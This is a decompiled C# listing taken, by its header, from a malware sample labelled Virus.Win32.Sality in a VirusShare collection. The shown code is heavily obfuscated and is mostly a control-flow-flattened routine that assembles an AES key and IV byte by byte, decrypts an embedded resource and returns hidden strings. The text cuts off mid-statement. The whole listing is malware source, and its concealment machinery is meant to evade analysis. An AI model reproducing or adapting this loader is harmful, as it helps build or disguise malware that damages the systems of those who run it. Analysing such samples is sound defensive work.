// Decompiled with JetBrains decompiler // Type: . // Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe using \u0001; using \u0008; using SmartAssembly.SmartExceptionsCore; using System; using System.Collections; using System.Collections.Generic; using System.IO; using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; namespace \u0008 { internal sealed class \u0002 { [NonSerialized] internal static \u0002 \u0001; private static byte[] \u0001; private static byte[] \u0002; private static byte[] \u0003; private static IntPtr \u0001; private static bool \u0001; private static int \u0001; internal static \u0002.\u0001 \u0001; private static long \u0001; private static bool \u0002; private static SortedList \u0001; private static byte[] \u0004; private static int \u0002; internal static Dictionary \u0001; private static long \u0002; private static IntPtr \u0002; private static object \u0001; private static IntPtr \u0003; private static int \u0003; private static int[] \u0001; private static int \u0004; internal static \u0002.\u0001 \u0002; [MethodImpl(MethodImplOptions.NoInlining)] static \u0002() { try { \u0003.\u0003(); \u0002.\u0001 = new byte[0]; \u0002.\u0002 = new byte[0]; \u0002.\u0004 = new byte[0]; \u0002.\u0003 = new byte[0]; \u0002.\u0003 = IntPtr.Zero; \u0002.\u0001 = IntPtr.Zero; \u0002.\u0001 = (object) new string[0]; \u0002.\u0001 = new int[0]; \u0002.\u0003 = 1; \u0002.\u0001 = false; \u0002.\u0001 = new SortedList(); \u0002.\u0001 = 0; \u0002.\u0002 = 0L; \u0002.\u0002 = (\u0002.\u0001) null; \u0002.\u0001 = (\u0002.\u0001) null; \u0002.\u0001 = 0L; \u0002.\u0002 = 0; \u0002.\u0002 = false; \u0002.\u0004 = 0; \u0002.\u0002 = IntPtr.Zero; \u0002.\u0001 = new Dictionary(); } catch (Exception ex) { throw UnhandledException.\u0003(ex); } } [MethodImpl(MethodImplOptions.NoInlining)] static string \u0003([In] int obj0) { byte[] numArray1; int num1; int num2; byte[] numArray2; int num3; byte[] numArray3; byte[] numArray4; RijndaelManaged rijndaelManaged; byte[] numArray5; ICryptoTransform transform; MemoryStream memoryStream; BinaryReader binaryReader; int num4; CryptoStream cryptoStream; byte[] numArray6; try { int num5 = 233; label_331: while (true) { num3 = num5; label_332: while (true) { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { do { int num6 = num3; while (true) { switch (num6) { case 0: num2 = 70 + 39; num6 = 208; continue; case 1: num1 = 16 + 112; num3 = 42; if (true) goto label_332; else goto case 279; case 2: numArray2[24] = (byte) (52 + 45); num3 = 189; if (\u0002.\u0004()) goto case 121; else goto label_332; case 3: goto label_37; case 4: goto label_242; case 5: num2 = 179 - 59; num6 = 286; continue; case 6: num1 = 22 + 12; num6 = 78; continue; case 7: goto label_24; case 8: num2 = 71 + 108; num6 = 131; continue; case 9: numArray3 = numArray1; num6 = 90; continue; case 10: goto label_306; case 11: goto label_354; case 12: goto label_294; case 13: goto label_258; case 14: goto label_327; case 15: num1 = 22 + 16; num6 = 251; continue; case 16: numArray2[23] = (byte) num2; goto case 155; case 17: numArray2[5] = (byte) (74 + 33); num6 = 23; continue; case 18: numArray2[7] = (byte) (176 - 58); num3 = 237; if (!\u0002.\u0003()) goto case 265; else goto label_332; case 19: goto label_15; case 20: goto label_115; case 21: numArray2[3] = (byte) (13 + 103); num6 = 148; continue; case 22: goto label_210; case 23: goto label_74; case 24: goto label_79; case 25: goto label_72; case 26: num1 = 160 - 53; num3 = 123; if (true) goto label_332; else goto case 129; case 27: numArray1[2] = (byte) (7 + 3); num6 = 248; continue; case 28: goto label_260; case 29: goto label_163; case 30: numArray1[6] = (byte) (214 - 71); num3 = 145; if (true) goto label_332; else goto case 93; case 31: goto label_138; case 32: goto label_49; case 33: goto label_191; case 34: goto label_283; case 35: num2 = 119 + 9; num6 = 185; continue; case 36: goto label_44; case 37: num2 = 120 - 47; num3 = 205; if (\u0002.\u0004()) goto case 94; else goto label_332; case 38: num1 = 226 - 120; num6 = 262; continue; case 39: num1 = 235 - 78; num3 = 87; if (true) goto label_332; else goto case 326; case 40: goto label_8; case 41: num2 = 243 - 81; num6 = 52; continue; case 42: goto label_52; case 43: numArray1[6] = (byte) num1; num6 = 28; continue; case 44: goto label_277; case 45: goto label_162; case 46: num2 = 48 + 108; num3 = 176; if (true) goto label_332; else goto case 162; case 47: goto label_114; case 48: goto label_67; case 49: goto label_239; case 50: numArray6 = (byte[]) \u0002.\u0003((object) binaryReader, (int) \u0002.\u0003(\u0002.\u0003((object) binaryReader))); num6 = 191; continue; case 51: numArray3[15] = numArray4[7]; num3 = 272; if (!\u0002.\u0004()) goto label_332; else goto case 26; case 52: goto label_200; case 53: goto label_194; case 54: case 92: goto label_263; case 55: goto label_70; case 56: goto label_147; case 57: goto label_89; case 58: numArray2[21] = (byte) num2; num6 = 125; continue; case 59: numArray2[15] = (byte) (203 - 67); num6 = 85; continue; case 60: goto label_158; case 61: goto label_66; case 62: goto label_141; case 63: goto label_64; case 64: num2 = 223 - 74; num6 = 219; continue; case 65: goto label_121; case 66: goto label_285; case 67: goto label_224; case 68: goto label_156; case 69: goto label_195; case 70: numArray1[4] = (byte) (42 + 81); num3 = 256; if (!\u0002.\u0003()) goto case 341; else goto label_332; case 71: numArray2[5] = (byte) num2; num3 = 319; if (\u0002.\u0004()) goto case 343; else goto label_332; case 72: goto label_9; case 73: goto label_155; case 74: numArray2[30] = (byte) (30 + 37); num3 = 100; if (!\u0002.\u0003()) goto case 208; else goto label_332; case 75: goto label_71; case 76: goto label_12; case 77: numArray1[3] = (byte) (251 - 83); num6 = 245; continue; case 78: numArray1[5] = (byte) num1; num6 = 67; continue; case 79: goto label_92; case 80: goto label_42; case 81: goto label_153; case 82: numArray1[12] = (byte) ((int) sbyte.MaxValue - 42); num6 = 197; continue; case 83: goto label_340; case 84: numArray2[10] = (byte) (164 - 54); num3 = 204; if (true) goto label_332; else goto case 90; case 85: numArray2[15] = (byte) (135 - 45); num6 = 138; continue; case 86: goto label_172; case 87: goto label_61; case 88: goto label_209; case 89: goto label_176; case 90: // ISSUE: type reference numArray4 = (byte[]) \u0002.\u0005(\u0002.\u0004((object) \u0002.\u0003(__typeref (\u0002)).Assembly)); num3 = 198; if (\u0002.\u0004()) goto case 151; else goto label_332; case 91: goto label_244; case 93: num2 = 100 + 70; num3 = 309; if (\u0002.\u0004()) goto case 161; else goto label_332; case 94: num2 = 241 - 80; num6 = 108; continue; case 95: num2 = 211 - 110; num6 = 53; continue; case 96: goto label_238; case 97: goto label_80; case 98: goto label_346; case 99: goto label_274; case 100: numArray2[30] = (byte) (195 - 65); num3 = 213; if (!\u0002.\u0004()) goto label_332; else goto case 186; case 101: goto label_179; case 102: goto label_310; case 103: goto label_101; case 104: goto label_304; case 105: goto label_166; case 106: goto label_117; case 107: goto label_233; case 108: goto label_202; case 109: goto label_38; case 110: num1 = 126 + 91; num6 = 179; continue; case 111: numArray2[14] = (byte) (96 + 54); num6 = 99; continue; case 112: numArray2[1] = (byte) num2; num6 = 247; continue; case 113: goto label_305; case 114: goto label_6; case 115: goto label_106; case 116: goto label_120; case 117: goto label_91; case 118: numArray2[1] = (byte) (139 - 106); num6 = 334; continue; case 119: numArray2[2] = (byte) (115 + 21); num6 = 279; continue; case 120: goto label_328; case 121: num1 = 154 - 51; num6 = 229; continue; case 122: goto label_45; case 123: numArray1[1] = (byte) num1; num3 = 39; if (!\u0002.\u0004()) goto label_332; else goto case 188; case 124: goto label_314; case 125: goto label_35; case 126: goto label_19; case (int) sbyte.MaxValue: numArray2[27] = (byte) (15 + 71); num3 = 80; if (!\u0002.\u0004()) goto label_332; else goto case 153; case 128: goto label_10; case 129: numArray1[10] = (byte) (53 + 91); num6 = 139; continue; case 130: goto label_259; case 131: numArray2[0] = (byte) num2; num3 = 274; if (true) goto label_332; else goto case 38; case 132: goto label_88; case 133: goto label_157; case 134: numArray1[7] = (byte) (240 - 80); num6 = 307; continue; case 135: goto label_230; case 136: goto label_17; case 137: goto label_187; case 138: goto label_221; case 139: goto label_95; case 140: goto label_196; case 141: goto label_180; case 142: if (numArray4.Length > 0) { num6 = 156; continue; } goto label_352; case 143: goto label_62; case 144: goto label_280; case 145: goto label_148; case 146: goto label_18; case 147: goto label_142; case 148: num2 = 186 - 62; num6 = 253; continue; case 149: numArray2[9] = (byte) (177 - 59); num6 = 257; continue; case 150: goto label_353; case 151: numArray2[23] = (byte) (100 + 20); num3 = 226; if (\u0002.\u0004()) goto case 155; else goto label_332; case 152: numArray2[10] = (byte) (43 + 76); num6 = 120; continue; case 153: numArray1[6] = (byte) num1; num6 = 30; continue; case 154: \u0002.\u0003(\u0002.\u0003((object) binaryReader), 0L); num3 = 333; if (true) goto label_332; else goto case 37; case 155: case 321: num2 = 170 - 56; num6 = 241; continue; case 156: numArray3[1] = numArray4[0]; num6 = 29; continue; case 157: numArray2[23] = (byte) (82 - 73); num3 = 2; if (!\u0002.\u0004()) goto label_332; else goto case 208; case 158: goto label_276; case 159: goto label_330; case 160: numArray1[1] = (byte) num1; num6 = 311; continue; case 161: numArray2[23] = (byte) num2; num6 = 157; continue; case 162: numArray2[17] = (byte) num2; num6 = 261; continue; case 163: numArray1[1] = (byte) num1; num6 = 27; continue; case 164: goto label_267; case 165: goto label_291; case 166: goto label_315; case 167: numArray2[24] = (byte) (221 - 73); num6 = 93; continue; case 168: numArray2[13] = (byte) (139 - 46); num6 = 283; continue; case 169: goto label_34; case 170: numArray2[20] = (byte) num2; num3 = 65; if (true) goto label_332; else goto case 197; case 171: num1 = 192 - 64; num6 = 270; continue; case 172: goto label_201; case 173: goto label_51; case 174: goto label_87; case 175: numArray1[3] = (byte) num1; num6 = 77; continue; case 176: goto label_63; case 177: num2 = 123 + 108; num6 = 40; continue; case 178: numArray2[29] = (byte) num2; num6 = 35; continue; case 179: numArray1[11] = (byte) num1; num6 = 56; continue; case 180: goto label_43; case 181: goto label_127; case 182: goto label_113; case 183: numArray2[22] = (byte) (36 + 113); num6 = 0; continue; case 184: goto label_329; case 185: goto label_97; case 186: num1 = 164 - 54; num6 = 160; continue; case 187: goto label_265; case 188: numArray1[9] = (byte) num1; num3 = 171; if (!\u0002.\u0004()) goto label_332; else goto case 177; case 189: goto label_341; case 190: numArray1[4] = (byte) (57 + 30); num3 = 70; if (\u0002.\u0004()) goto case 252; else goto label_332; case 191: goto label_7; case 192: numArray2[16] = (byte) num2; num6 = 46; continue; case 193: // ISSUE: type reference binaryReader = new BinaryReader((Stream) \u0002.\u0003((object) \u0002.\u0003(__typeref (\u0002)).Assembly, (object) \u0006.\u0003(5700))); num6 = 154; continue; case 194: goto label_69; case 195: goto label_58; case 196: goto label_272; case 197: num1 = 63 + 83; num3 = 218; if (true) goto label_332; else goto case 199; case 198: goto label_246; case 199: numArray2[18] = (byte) (86 + 23); num3 = 130; if (!\u0002.\u0003()) goto case 339; else goto label_332; case 200: num2 = 237 - 79; num6 = 34; continue; case 201: goto label_181; case 202: goto label_271; case 203: goto label_237; case 204: goto label_219; case 205: goto label_214; case 206: numArray2[8] = (byte) (86 + 74); num6 = 285; continue; case 207: goto label_48; case 208: numArray2[22] = (byte) num2; num6 = 75; continue; case 209: goto label_129; case 210: num2 = 156 - 52; num6 = 81; continue; case 211: goto label_186; case 212: goto label_59; case 213: goto label_248; case 214: numArray2[10] = (byte) num2; num6 = 84; continue; case 215: goto label_270; case 216: goto label_273; case 217: num2 = 252 - 84; num6 = 146; continue; case 218: goto label_73; case 219: goto label_122; case 220: goto label_342; case 221: num1 = 116 + 19; num6 = 297; continue; case 222: numArray1[14] = (byte) (134 - 44); num6 = 303; continue; case 223: num2 = 141 - 47; num6 = 342; continue; case 224: goto label_55; case 225: goto label_215; case 226: goto label_245; case 227: numArray2[20] = (byte) (12 + 41); num3 = 135; if (!\u0002.\u0003()) goto case 46; else goto label_332; case 228: goto label_323; case 229: goto label_130; case 230: numArray2[15] = (byte) (128 - 5); num6 = 260; continue; case 231: goto label_36; case 232: goto label_311; case 233: goto label_335; case 234: goto label_78; case 235: goto label_41; case 236: goto label_173; case 237: numArray2[7] = (byte) (33 + 16); num6 = 236; continue; case 238: goto label_47; case 239: num2 = 80 + 32; num6 = 282; continue; case 240: num2 = 47 + 101; num6 = 66; continue; case 241: numArray2[23] = (byte) num2; num6 = 55; continue; case 242: goto label_225; case 243: goto label_318; case 244: numArray2[3] = (byte) (52 + 75); num6 = 73; continue; case 245: numArray1[3] = (byte) (153 - 51); num6 = 267; continue; case 246: goto label_307; case 247: goto label_128; case 248: goto label_109; case 249: num2 = 121 + 9; num6 = 209; continue; case 250: goto label_232; case 251: goto label_206; case 252: num2 = 238 - 79; num6 = 137; continue; case 253: numArray2[3] = (byte) num2; num3 = 288; if (!\u0002.\u0004()) goto label_332; else goto case (int) sbyte.MaxValue; case 254: numArray1[2] = (byte) (74 + 21); num6 = 88; continue; case (int) byte.MaxValue: goto label_96; case 256: goto label_93; case 257: numArray2[9] = (byte) (82 + 46); num3 = 301; if (true) goto label_332; else goto case 292; case 258: numArray2[11] = (byte) (130 - 43); num3 = 343; if (true) goto label_332; else goto case 71; case 259: goto label_154; case 260: goto label_243; case 261: numArray2[17] = (byte) (167 - 67); num6 = 234; continue; case 262: numArray1[14] = (byte) num1; num6 = 68; continue; case 263: numArray2[7] = (byte) num2; num3 = 206; if (true) goto label_332; else goto case 343; case 264: num1 = 45 + 56; num6 = 153; continue; case 265: numArray2[25] = (byte) (141 + 76); num6 = 294; continue; case 266: goto label_159; case 267: goto label_205; case 268: goto label_68; case 269: goto label_119; case 270: numArray1[9] = (byte) num1; num6 = 1; continue; case 271: numArray1[0] = (byte) (237 - 79); num6 = 20; continue; case 272: goto label_352; case 273: numArray1[8] = (byte) (120 - 70); num6 = 24; continue; case 274: goto label_11; case 275: \u0002.\u0003((object) rijndaelManaged, CipherMode.CBC); num6 = 238; continue; case 276: numArray2[18] = (byte) (181 - 113); num3 = 243; if (\u0002.\u0004()) goto case 325; else goto label_332; case 277: goto label_174; case 278: numArray2[0] = (byte) num2; num3 = 180; if (true) goto label_332; else goto case 112; case 279: numArray2[2] = (byte) (46 - 40); num6 = 89; continue; case 280: numArray1[3] = (byte) num1; num6 = 291; continue; case 281: goto label_2; case 282: goto label_229; case 283: numArray2[13] = (byte) (149 + 31); num3 = 111; if (true) goto label_332; else goto case 278; case 284: goto label_297; case 285: numArray2[8] = (byte) (152 - 50); if (!\u0002.\u0003()) { num6 = 321; continue; } num3 = 92; if (true) goto label_332; else goto case 21; case 286: numArray2[12] = (byte) num2; num6 = 310; continue; case 287: goto label_132; case 288: goto label_322; case 289: numArray2[31] = (byte) (78 + 91); num6 = 4; continue; case 290: goto label_146; case 291: goto label_254; case 292: num2 = 151 - 79; num3 = 174; if (true) goto label_332; else goto case 168; case 293: numArray2[12] = (byte) (15 + 39); num6 = 329; continue; case 294: goto label_16; case 295: numArray2[2] = (byte) num2; num6 = 119; continue; case 296: goto label_189; case 297: goto label_112; case 298: num2 = 203 - 67; num6 = 335; continue; case 299: goto label_339; case 300: num2 = 73 + 56; num6 = 147; continue; case 301: num2 = 168 + 64; num6 = 109; continue; case 302: goto label_190; case 303: goto label_177; case 304: goto label_137; case 305: goto label_284; case 306: numArray3[7] = numArray4[3]; num6 = 86; continue; case 307: goto label_183; case 308: goto label_29; case 309: goto label_316; case 310: goto label_269; case 311: goto label_136; case 312: numArray2[26] = (byte) (141 + 28); num6 = 13; continue; case 313: goto label_188; case 314: goto label_103; case 315: goto label_325; case 316: goto label_266; case 317: numArray2[16] = (byte) num2; num3 = 323; if (\u0002.\u0003()) goto label_332; else goto case 329; case 318: goto label_199; case 319: goto label_90; case 320: num2 = 99 + 93; num6 = 115; continue; case 322: goto label_220; case 323: num2 = 103 - 88; num3 = 192; if (!\u0002.\u0003()) goto case 8; else goto label_332; case 324: goto label_94; case 325: num2 = 148 - 49; num3 = 228; if (\u0002.\u0003()) goto label_332; else goto case 110; case 326: numArray2[17] = (byte) (12 + 54); num6 = 207; continue; case 327: num2 = 20 + 89; num3 = 114; if (\u0002.\u0004()) goto case 161; else goto label_332; case 328: goto label_30; case 329: num2 = 142 - 47; num6 = 122; continue; case 330: goto label_275; case 331: goto label_125; case 332: numArray2[31] = (byte) (100 + 38); num6 = 95; continue; case 333: \u0002.\u0003(true); num6 = 50; continue; case 334: num2 = 18 + 26; num6 = 295; continue; case 335: goto label_133; case 336: goto label_39; case 337: goto label_231; case 338: goto label_208; case 339: numArray2[31] = (byte) num2; num6 = 231; continue; case 340: goto label_57; case 341: numArray2[20] = (byte) (144 - 48); num3 = 336; if (true) goto label_332; else goto case 157; case 342: goto label_116; case 343: numArray2[11] = (byte) (68 + 95); num6 = 136; continue; case 344: goto label_348; default: goto label_334; } } label_24: num2 = 113 + 123; num3 = 169; if (\u0002.\u0003()) continue; label_91: numArray1[15] = (byte) num1; num3 = 173; if (!\u0002.\u0004()) continue; label_92: num1 = 200 - 66; num3 = 175; if (true) continue; label_93: numArray1[4] = (byte) (128 - 51); num3 = 246; } while (true); goto label_94; label_57: num2 = 155 - 51; num3 = 162; if (true) continue; label_58: numArray1[7] = (byte) (46 + 19); num3 = 97; if (true) continue; label_59: num2 = 81 + 43; num3 = 112; if (\u0002.\u0004()) goto label_307; else continue; label_306: numArray2[12] = (byte) num2; num3 = 3; if (true) continue; label_307: num1 = 254 - 84; num3 = 250; } while (!\u0002.\u0004()); goto label_280; label_97: numArray2[29] = (byte) num2; num3 = 298; if (\u0002.\u0004()) goto label_246; else continue; label_112: numArray1[1] = (byte) num1; num3 = 124; if (\u0002.\u0003()) continue; label_113: num4 = \u0002.\u0003((object) \u0002.\u0004, obj0); num3 = 344; if (\u0002.\u0004()) goto label_346; else continue; label_246: if (numArray4 == null) goto label_352; else goto label_247; label_325: numArray2[6] = (byte) (54 - 29); num3 = 18; if (!\u0002.\u0003()) goto label_342; else continue; label_334: num5 = 215; goto label_331; label_335: if (\u0002.\u0004.Length == 0) { num3 = 193; continue; } goto label_113; label_339: \u0002.\u0004((object) memoryStream); num3 = 269; if (!\u0002.\u0003()) goto label_109; else continue; label_340: numArray1[6] = (byte) num1; num5 = 264; goto label_331; label_341: numArray2[24] = (byte) (181 - 60); num3 = 239; continue; label_342: cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write); num3 = 187; if (!\u0002.\u0003()) goto label_194; else continue; label_346: num1 = 173 - 63; num5 = 141; goto label_331; label_348: string str; try { str = (string) \u0002.\u0003(\u0002.\u0003(), (object) \u0002.\u0004, obj0 + 4, num4); goto label_351; } catch { } return \u0006.\u0003(5753); label_351: return str; label_352: rijndaelManaged = new RijndaelManaged(); num3 = 275; if (true) continue; goto label_130; label_353: memoryStream = new MemoryStream(); num3 = 220; continue; label_354: numArray3[13] = numArray4[6]; num3 = 51; } while (!\u0002.\u0004()); goto label_15; label_258: numArray2[27] = (byte) (248 - 82); num3 = 196; } while (\u0002.\u0003()); goto label_259; label_115: num1 = 39 + 53; num3 = 281; if (true) continue; label_116: numArray2[17] = (byte) num2; num3 = 326; } while (true); goto label_117; label_138: numArray2[28] = (byte) (118 + 53); num3 = 19; if (\u0002.\u0004()) goto label_330; else continue; label_270: num2 = 214 - 71; num3 = 140; continue; label_330: numArray2[26] = (byte) num2; goto label_270; } while (!\u0002.\u0004()); goto label_18; label_67: num2 = 163 - 54; num3 = 116; } while (\u0002.\u0003()); goto label_122; label_147: numArray1[12] = (byte) (19 + 100); num3 = 15; } while (!\u0002.\u0004()); goto label_274; label_158: numArray1[6] = (byte) num1; num3 = 195; } while (true); goto label_159; label_284: numArray2[1] = (byte) (139 - 46); num3 = 118; if (!\u0002.\u0004()) continue; label_285: numArray2[8] = (byte) num2; num3 = 302; } while (!\u0002.\u0004()); goto label_202; label_224: numArray1[5] = (byte) (133 - 44); num3 = 91; if (true) continue; label_225: numArray2[25] = (byte) (164 - 54); num3 = 265; } while (!\u0002.\u0004()); goto label_267; label_195: numArray2[17] = (byte) num2; num3 = 340; } while (true); goto label_196; label_155: numArray2[4] = (byte) (247 - 82); num3 = 64; } while (true); goto label_156; label_61: numArray1[1] = (byte) num1; num3 = 221; } while (\u0002.\u0003()); goto label_305; label_238: num2 = 157 - 52; num3 = 278; } while (true); goto label_239; label_310: num1 = 137 - 45; num3 = 188; } while (true); goto label_311; label_180: numArray1[2] = (byte) num1; num3 = 79; } while (true); goto label_181; label_34: numArray2[5] = (byte) num2; num3 = 290; } while (\u0002.\u0003()); goto label_122; label_87: numArray2[14] = (byte) num2; num3 = 103; } while (\u0002.\u0003()); goto label_88; label_7: numArray2 = new byte[32]; num3 = 47; } while (true); goto label_8; label_272: num2 = 159 - 53; num3 = 133; } while (true); goto label_273; label_48: num2 = 134 - 44; num3 = 69; } while (!\u0002.\u0004()); goto label_221; label_186: numArray2[1] = (byte) (189 - 63); num3 = 305; } while (true); goto label_187; label_55: numArray1[10] = (byte) (194 + 31); num3 = 22; } while (\u0002.\u0003()); goto label_128; label_173: num2 = 92 + 69; num3 = 263; } while (\u0002.\u0003()); goto label_174; label_318: numArray2[19] = (byte) (35 + 107); num3 = 284; } while (!\u0002.\u0004()); goto label_329; label_231: \u0002.\u0005((object) binaryReader); num3 = 182; if (true) continue; label_232: numArray1[5] = (byte) num1; num3 = 6; } while (!\u0002.\u0004()); goto label_233; label_243: numArray2[16] = (byte) (65 + 40); num3 = 232; } while (true); goto label_244; label_205: num1 = 228 - 76; num3 = 280; } while (true); goto label_206; label_132: numArray1[13] = (byte) (180 - 60); num3 = 225; } while (true); goto label_133; label_16: num2 = 253 - 84; num3 = 159; } while (\u0002.\u0003()); goto label_17; label_190: numArray2[8] = (byte) (160 - 40); num3 = 76; } while (\u0002.\u0003()); goto label_183; label_29: numArray2[12] = (byte) (109 + 120); num3 = 293; } while (!\u0002.\u0004()); goto label_30; label_136: num1 = 106 - 29; num3 = 163; } while (true); goto label_137; label_19: numArray1[8] = (byte) (7 + 66); num3 = 273; continue; label_30: numArray1[8] = (byte) num1; num3 = 126; continue; label_38: numArray2[9] = (byte) num2; num3 = 152; continue; label_41: numArray3[5] = numArray4[2]; num3 = 306; continue; label_42: num2 = 147 - 49; num3 = 107; continue; label_47: transform = (ICryptoTransform) \u0002.\u0003((object) rijndaelManaged, (object) numArray5, (object) numArray3); num3 = 150; continue; label_52: numArray1[9] = (byte) num1; num3 = 316; continue; label_62: numArray1[2] = (byte) num1; num3 = 98; continue; label_66: numArray1[2] = (byte) (189 - 63); num3 = 254; continue; label_69: numArray2[29] = (byte) (233 - 77); num3 = 165; continue; label_74: numArray2[5] = (byte) (237 - 79); num3 = 7; continue; label_78: num2 = (int) sbyte.MaxValue - 42; num3 = 166; continue; label_80: numArray1[7] = (byte) (58 + 12); num3 = 322; continue; label_89: \u0002.\u0004 = (byte[]) \u0002.\u0006((object) memoryStream); num3 = 299; continue; label_96: numArray2[6] = (byte) (73 + 119); num3 = 315; continue; label_101: num2 = 4 + 36; num3 = 164; continue; label_103: numArray3[11] = numArray4[5]; num3 = 11; continue; label_109: numArray1[2] = (byte) (123 + 123); num3 = 61; continue; label_121: num2 = 148 - 49; num3 = 58; continue; label_127: numArray2[0] = (byte) num2; num3 = 44; continue; label_128: numArray2[1] = (byte) (194 - 64); num3 = 211; continue; label_130: numArray1[14] = (byte) num1; num3 = 222; continue; label_137: numArray2[10] = (byte) num2; num3 = 258; continue; label_148: num1 = 125 + 67; num3 = 60; continue; label_163: numArray3[3] = numArray4[1]; num3 = 235; continue; label_166: numArray1[13] = (byte) (173 - 62); num3 = 62; continue; label_177: numArray1[14] = (byte) (119 + 80); num3 = 38; continue; label_179: numArray2[0] = (byte) num2; num3 = 96; continue; label_188: numArray2[11] = (byte) num2; num3 = 308; continue; label_200: numArray2[30] = (byte) num2; num3 = 74; continue; label_201: num1 = 143 - 47; num3 = 216; continue; label_210: num1 = 176 - 58; num3 = 158; continue; label_214: numArray2[4] = (byte) num2; num3 = 17; continue; label_221: num2 = 212 - 70; num3 = 338; continue; label_230: numArray2[20] = (byte) (179 - 59); num3 = 341; continue; label_237: num1 = 245 - 81; num3 = 32; continue; label_247: num3 = 142; continue; label_263: num2 = 238 - 79; num3 = 12; continue; label_266: numArray1[10] = (byte) (178 - 59); num3 = 129; continue; label_271: \u0002.\u0003((object) cryptoStream); num3 = 57; continue; label_274: numArray2[14] = (byte) (97 + 96); num3 = 292; continue; label_275: numArray1[3] = (byte) (165 - 107); num3 = 190; continue; label_280: num2 = 44 + 104; num3 = 106; continue; label_305: numArray1[15] = (byte) (138 + 13); num3 = 9; continue; label_311: numArray2[16] = (byte) (28 + 54); num3 = 266; continue; label_315: numArray2[18] = (byte) num2; num3 = 199; continue; label_316: numArray2[24] = (byte) num2; num3 = 318; } label_2: numArray1[0] = (byte) num1; num5 = 72; continue; label_6: numArray2[18] = (byte) num2; num5 = 276; continue; label_8: numArray2[19] = (byte) num2; num5 = 252; continue; label_9: numArray1[0] = (byte) (85 + 83); num5 = 26; continue; label_10: numArray2[15] = (byte) (84 + 32); num5 = 230; continue; label_11: numArray2[0] = (byte) (145 + 60); num5 = 212; continue; label_12: numArray2[9] = (byte) (29 + 40); num5 = 94; continue; label_15: num2 = 178 - 59; num5 = 201; continue; label_17: num2 = 130 - 27; num5 = 313; continue; label_18: numArray2[19] = (byte) num2; num5 = 249; continue; label_35: numArray2[21] = (byte) (232 - 77); num5 = 144; continue; label_36: num2 = 188 - 62; num5 = 296; continue; label_37: numArray2[13] = (byte) (37 + 50); num5 = 168; continue; label_39: num2 = 128 + 105; num5 = 170; continue; label_43: numArray2[0] = (byte) (83 + 114); num5 = 8; continue; label_44: numArray1[15] = (byte) num1; num5 = 113; continue; label_45: numArray2[12] = (byte) num2; num5 = 5; continue; label_49: numArray1[13] = (byte) num1; num5 = 287; continue; label_51: num1 = 24 + 89; num5 = 36; continue; label_63: numArray2[17] = (byte) num2; num5 = 223; continue; label_64: numArray5 = numArray2; num5 = 25; continue; label_68: numArray2[3] = (byte) num2; num5 = 21; continue; label_70: num2 = 70 + 7; num5 = 161; continue; label_71: numArray2[22] = (byte) (137 - 60); num5 = 151; continue; label_72: numArray1 = new byte[16]; num5 = 172; continue; label_73: numArray1[12] = (byte) num1; num5 = 203; continue; label_79: numArray1[9] = (byte) (153 - 51); num5 = 102; continue; label_88: num1 = 102 + 72; num5 = 43; continue; label_90: numArray2[6] = (byte) (194 - 64); num5 = (int) byte.MaxValue; continue; label_94: num2 = 202 - 92; num5 = 10; continue; label_95: numArray1[10] = (byte) (27 + 1); num5 = 224; continue; label_106: numArray2[27] = (byte) num2; num5 = 300; continue; label_114: num2 = 143 - 47; num5 = 181; continue; label_117: numArray2[21] = (byte) num2; num5 = 331; continue; label_119: \u0002.\u0004((object) cryptoStream); num5 = 337; continue; label_120: numArray2[28] = (byte) num2; num5 = 200; continue; label_122: numArray2[4] = (byte) num2; num5 = 37; continue; label_125: num2 = 12 + 81; num5 = 277; continue; label_129: numArray2[19] = (byte) num2; num5 = 177; continue; label_133: numArray2[30] = (byte) num2; num5 = 41; continue; label_141: numArray1[14] = (byte) (240 - 80); num5 = 121; continue; label_142: numArray2[28] = (byte) num2; num5 = 104; continue; label_146: num2 = 96 + 66; num5 = 71; continue; label_153: numArray2[26] = (byte) num2; num5 = 312; continue; label_154: numArray1[11] = (byte) (145 - 48); num5 = 110; continue; label_156: num1 = 158 - 52; num5 = 117; continue; label_157: numArray2[27] = (byte) num2; num5 = (int) sbyte.MaxValue; continue; label_159: num2 = 119 + 50; num5 = 317; continue; label_162: num1 = 58 + 113; num5 = 328; continue; label_172: numArray3[9] = numArray4[4]; num5 = 314; continue; label_174: numArray2[22] = (byte) num2; num5 = 14; continue; label_176: num2 = 133 - 44; num5 = 268; continue; label_181: numArray2[29] = (byte) num2; num5 = 194; continue; label_183: numArray1[7] = (byte) (191 + 34); num5 = 45; continue; label_187: numArray2[20] = (byte) num2; num5 = 227; continue; label_189: numArray2[31] = (byte) num2; num5 = 332; continue; label_191: numArray2[3] = (byte) num2; num5 = 244; continue; label_194: numArray2[31] = (byte) num2; num5 = 63; continue; label_196: numArray2[26] = (byte) num2; num5 = 210; continue; label_199: numArray2[25] = (byte) (22 + 18); num5 = 242; continue; label_202: numArray2[9] = (byte) num2; num5 = 325; continue; label_206: numArray1[12] = (byte) num1; num5 = 184; continue; label_208: numArray2[15] = (byte) num2; num5 = 128; continue; label_209: num1 = 91 + 84; num5 = 143; continue; label_215: num1 = 30 + 108; num5 = 49; continue; label_219: num2 = 112 + 31; num5 = 304; continue; label_220: numArray1[7] = (byte) (198 - 66); num5 = 134; continue; label_229: numArray2[24] = (byte) num2; num5 = 167; continue; label_233: numArray2[27] = (byte) num2; num5 = 320; continue; label_239: numArray1[13] = (byte) num1; num5 = 105; continue; label_242: num2 = 20 + 67; num5 = 339; continue; label_244: numArray1[5] = (byte) (85 - 59); num5 = 132; continue; label_245: num2 = 37 + 121; num5 = 16; continue; label_248: numArray2[30] = (byte) (145 + 70); num5 = 289; continue; label_254: numArray1[3] = (byte) (193 - 64); num5 = 330; continue; label_259: numArray2[18] = (byte) (30 + 97); num5 = 327; continue; label_260: num1 = 134 - 44; num5 = 83; continue; label_265: \u0002.\u0003((object) cryptoStream, (object) numArray6, 0, numArray6.Length); num5 = 202; continue; label_267: numArray2[15] = (byte) num2; num5 = 59; continue; label_269: numArray2[12] = 